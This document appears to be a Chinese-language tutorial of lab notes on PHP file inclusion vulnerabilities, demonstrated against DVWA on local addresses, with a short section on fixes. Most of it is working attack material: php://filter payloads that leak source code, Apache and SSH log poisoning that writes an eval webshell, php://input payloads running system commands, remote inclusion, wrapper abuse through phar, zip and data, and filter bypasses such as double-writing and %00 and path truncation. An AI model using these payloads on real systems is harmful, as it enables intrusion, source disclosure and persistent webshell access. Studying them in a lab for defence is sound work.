1.1、简介
1.1.1、原理
- 能够将其他类型的文件当成php解析。
#1、创建一个123.php文件。
<?php
$filename=$_GET['filename'];
include($filename);
?>
#在可以解析的文件目录下面,访问http://192.168.41.3:180/123.php?filename=phpinfo.php
2、将phpinfo.php文件修改为phpinfo.txt或其他格式文件。
重新访问http://192.168.41.3:180/123.php?filename=phpinfo.txt发现可以正常解析。
1.1.2、常见函数
#函数作用:包含并运行指定文件。
#区别:
include():在出错时产生警告(E_WARNING),脚本会继续运行。
include_once():与include唯一的区别是,include_once会检查指定文件是否已经被包含过,如果是则不会在包含。
require():在出错时产生错误,脚本终止运行。
require_once():与require唯一的区别是:使用该函数时,文件如果被包含过,就不会在包含。
1.1.3、漏洞分类
-
本地包含:
-
远程包含:
#条件:allow_url_include=on(默认不开启)、allow_url_fopen=on(默认自动开启)、magic_gutes_gpc=off。
1、网址1链接:http://192.168.31.85/test.php
<?php
echo "i am 123"
?>
2、网址2链接
http://192.168.41.3:180/123.php?filename=http://192.168.31.85/test.php
1.1.4、漏洞挖掘
#白盒测试看代码中有没有include、include_once、require、require_once。
#黑盒测试看url连接进行测试。
#http://xxx?page=file1.php
1.1.5、漏洞修复
1、代码层面修复
将包含的文件设置成白名单。
2、服务器安全配置
修改PHP的配置文件,关闭allow_url_incluide,可以防止远程文件包含。
1.2、作用
1.2.1、读取文件
实验1:读取文件内容
?page=php://filter/read=convert.base64-encode/resource=file2.php
#也可以读取上一级文件:../view_help.php。
#将右侧的编码进行base64解码。
实验2:日志文件包含
#1、开启apache日志功能,在httpd.conf文件中搜索access.log
#2、将<?php phpinfo();?>写入对方配置文件中。(需要通过bp放包,直接访问会被编码)
#3、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log
#4、让访问日志文件记录写下文件脚本代码
<?PHP fputs(fopen('webshell.php','w'),'<?php @eval($_POST[cmd])?>');?>
#5、重新访问http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log,查看是否生成webshell.php文件。
#6、webshell连接。
实验3:ssh日志文件包含
漏洞利用条件:SSH日志路径已知,并且有可读权限。
SSH日志文件的默认路径为/var/log/secure
1、将恶意代码写入日志文件:ssh "<?php @eval(POST[123];?>"@192.168.41.200
2、查看ssh日志:cat /var/log/secure
3、通过文件包含访问
http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../var/log/secure
1.2.2、命令执行
#条件:allow _url_include为on才可以。
1、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=php://input
2、在请求体上添加:<?php system('net user');?>
1.2.3、写入文件
#条件:allow _url_include为on才可以。
1、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=php://input
2、在请求体上添加:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
1.3、绕过
1.3.1、str_replace()绕过
#格式:str_replace(find,replace,string,count)
#find 必需。规定要查找的值。
#replace 必需。规定替换 find 中的值的值。
#string 必需。规定被搜索的字符串。
#count 可选。对替换数进行计数的变量。
#从Hello world!中搜索,将World,替换成Shanghai。
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
#绕过代码
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
绕过方法:
1、双写绕过
远程包含:http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=htthttp://p://p192.168.31.85/replace.php
本地包含:http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=..././view_help.php
2、绝对路径绕过
http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=C:\phpStudy\WWW\DVWA\vulnerabilities\view_help.php
#实验不成功,需要切换php版本。
1.3.2、伪协议
if(!fnmatch("file*",$file)&&$file!="include.php")
#当文件既不是"include.php"(包含include.php文件)也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
?page=file:///C:/xampp/htdocs/dvwa/php.ini
常见的伪协议:
file:// -访问本地文件系统。
http:// -访问HTTP(S)网址。
ftp:// -访问FTP(S)URL。
php:// -访问各个输入输出流。
zlib:// -处理压缩流。
data:// -读取数据。
glob:// -查看匹配的文件路径模式。
phar:// -PHP归档。
ssh2:// -Secure Shell 2。
rar:// -RAR数据压缩。
ogg:// -处理音频流。
expect:// -处理交互式的流。
1、php://filter
作用:对本地磁盘文件进行读写
#以下两种代码用法相同。
?page=php://filter/read=convert.base64-encode/resource=xxx.php
?page=php://filter/convert.base64-encode/resource=xxx.php
2、php://input
使用方法:通过post直接提交数据。
#写入一句话木马。
<?php fputs(fopen('shell.php','w'),'<php @eval($_POST[cmd])?>');?>
#执行系统命令。
<?php system('whoami');?>
3、file://
#可以读取本地文件内容
?filename=file://文件绝对路径
4、data://
#主要用于数据的读取,如果传入的是PHP代码,就会执行任意代码。
格式:?filename=data://text/plain;base64,XXXXX(Base64编码后的数据)
5、phar://
#phar用来解压的伪协议。
?filename=phar://压缩包/内部文件
?filename=phar://shell.png/shell.php
实验步骤:
1、生成一个phpinfo.php文件
文件内容:<?php phpinfo();?>
2、将phpinfo.php压缩成phpinfo.zip
3、将phpinfo.zip文件压缩成phpinfo.png
4、将phpinfo.png上传到对方服务器,使用phar进行解压
http://192.168.41.3:180/123.php?filename=phar://phpinfo.png/phpinfo.php
6、zip://
#跟phar原理相同,但是格式不同
格式:zip://绝对路径#子文件名
#在浏览器中要转换为URL编码%23,浏览器默认不会传输特殊字符。
http://192.168.41.3:180/123.php?filename=zip://C:/phpStudy/WWW/phpinfo.png%23phpinfo.php
7、expect://
#主要用来执行系统命令,但是需要安装扩展。
#?file=expect://ls
1.3.3、限制绕过
使用场景:代码中指定了特定的前缀或者.php、.html等后缀名。
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
1.3.3.1、本地绕过
1、%00截断
漏洞利用条件:magic_quotes_gpc=off;PHP版本低于5.3.4。
#原理:%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。从而绕过指定扩展名。
2、路径长度截断
#操作系统存在最大路径长度的限制,超过最大路径长度的目录,操作系统会将后面的路径丢弃,导致扩展名截断。
Windows下目录的最大路径长度为256B。
Linux下目录最大路径长度为4096B。
?page=file:///C:/xampp/htdocs/dvwa/php.ini/./././././././././././././././...
3、点号截断
#光适用于Windows系统。当点号长度大于256B时,就可以造成扩展名截断。
?page=file:///C:/xampp/htdocs/dvwa/php.ini.........................
1.3.3.2、远程绕过
1、问号绕过
可以在(?)后面添加HTML字符串,问号后面的扩展名.html会被当作查询,从而绕过扩展名过滤。
http://xxx/text.php?filename=http://xxx/FI/php.txt?
2、井号绕过
可以在井号(#)后面添加HTML字符,#号会截断后面的扩展名.html,从而绕过扩展名过滤。井号的URL编码为%23。
http://xxx/text.php?filename=http://xxx/FI/php.txt%23
3、空格绕过
可以使用空格后面添加HTML字符,空格会截断后面的扩展名.html,从而绕过扩展名过滤。空格的URL编码为%20。
http://xxx/text.php?filename=http://xxx/FI/php.txt%20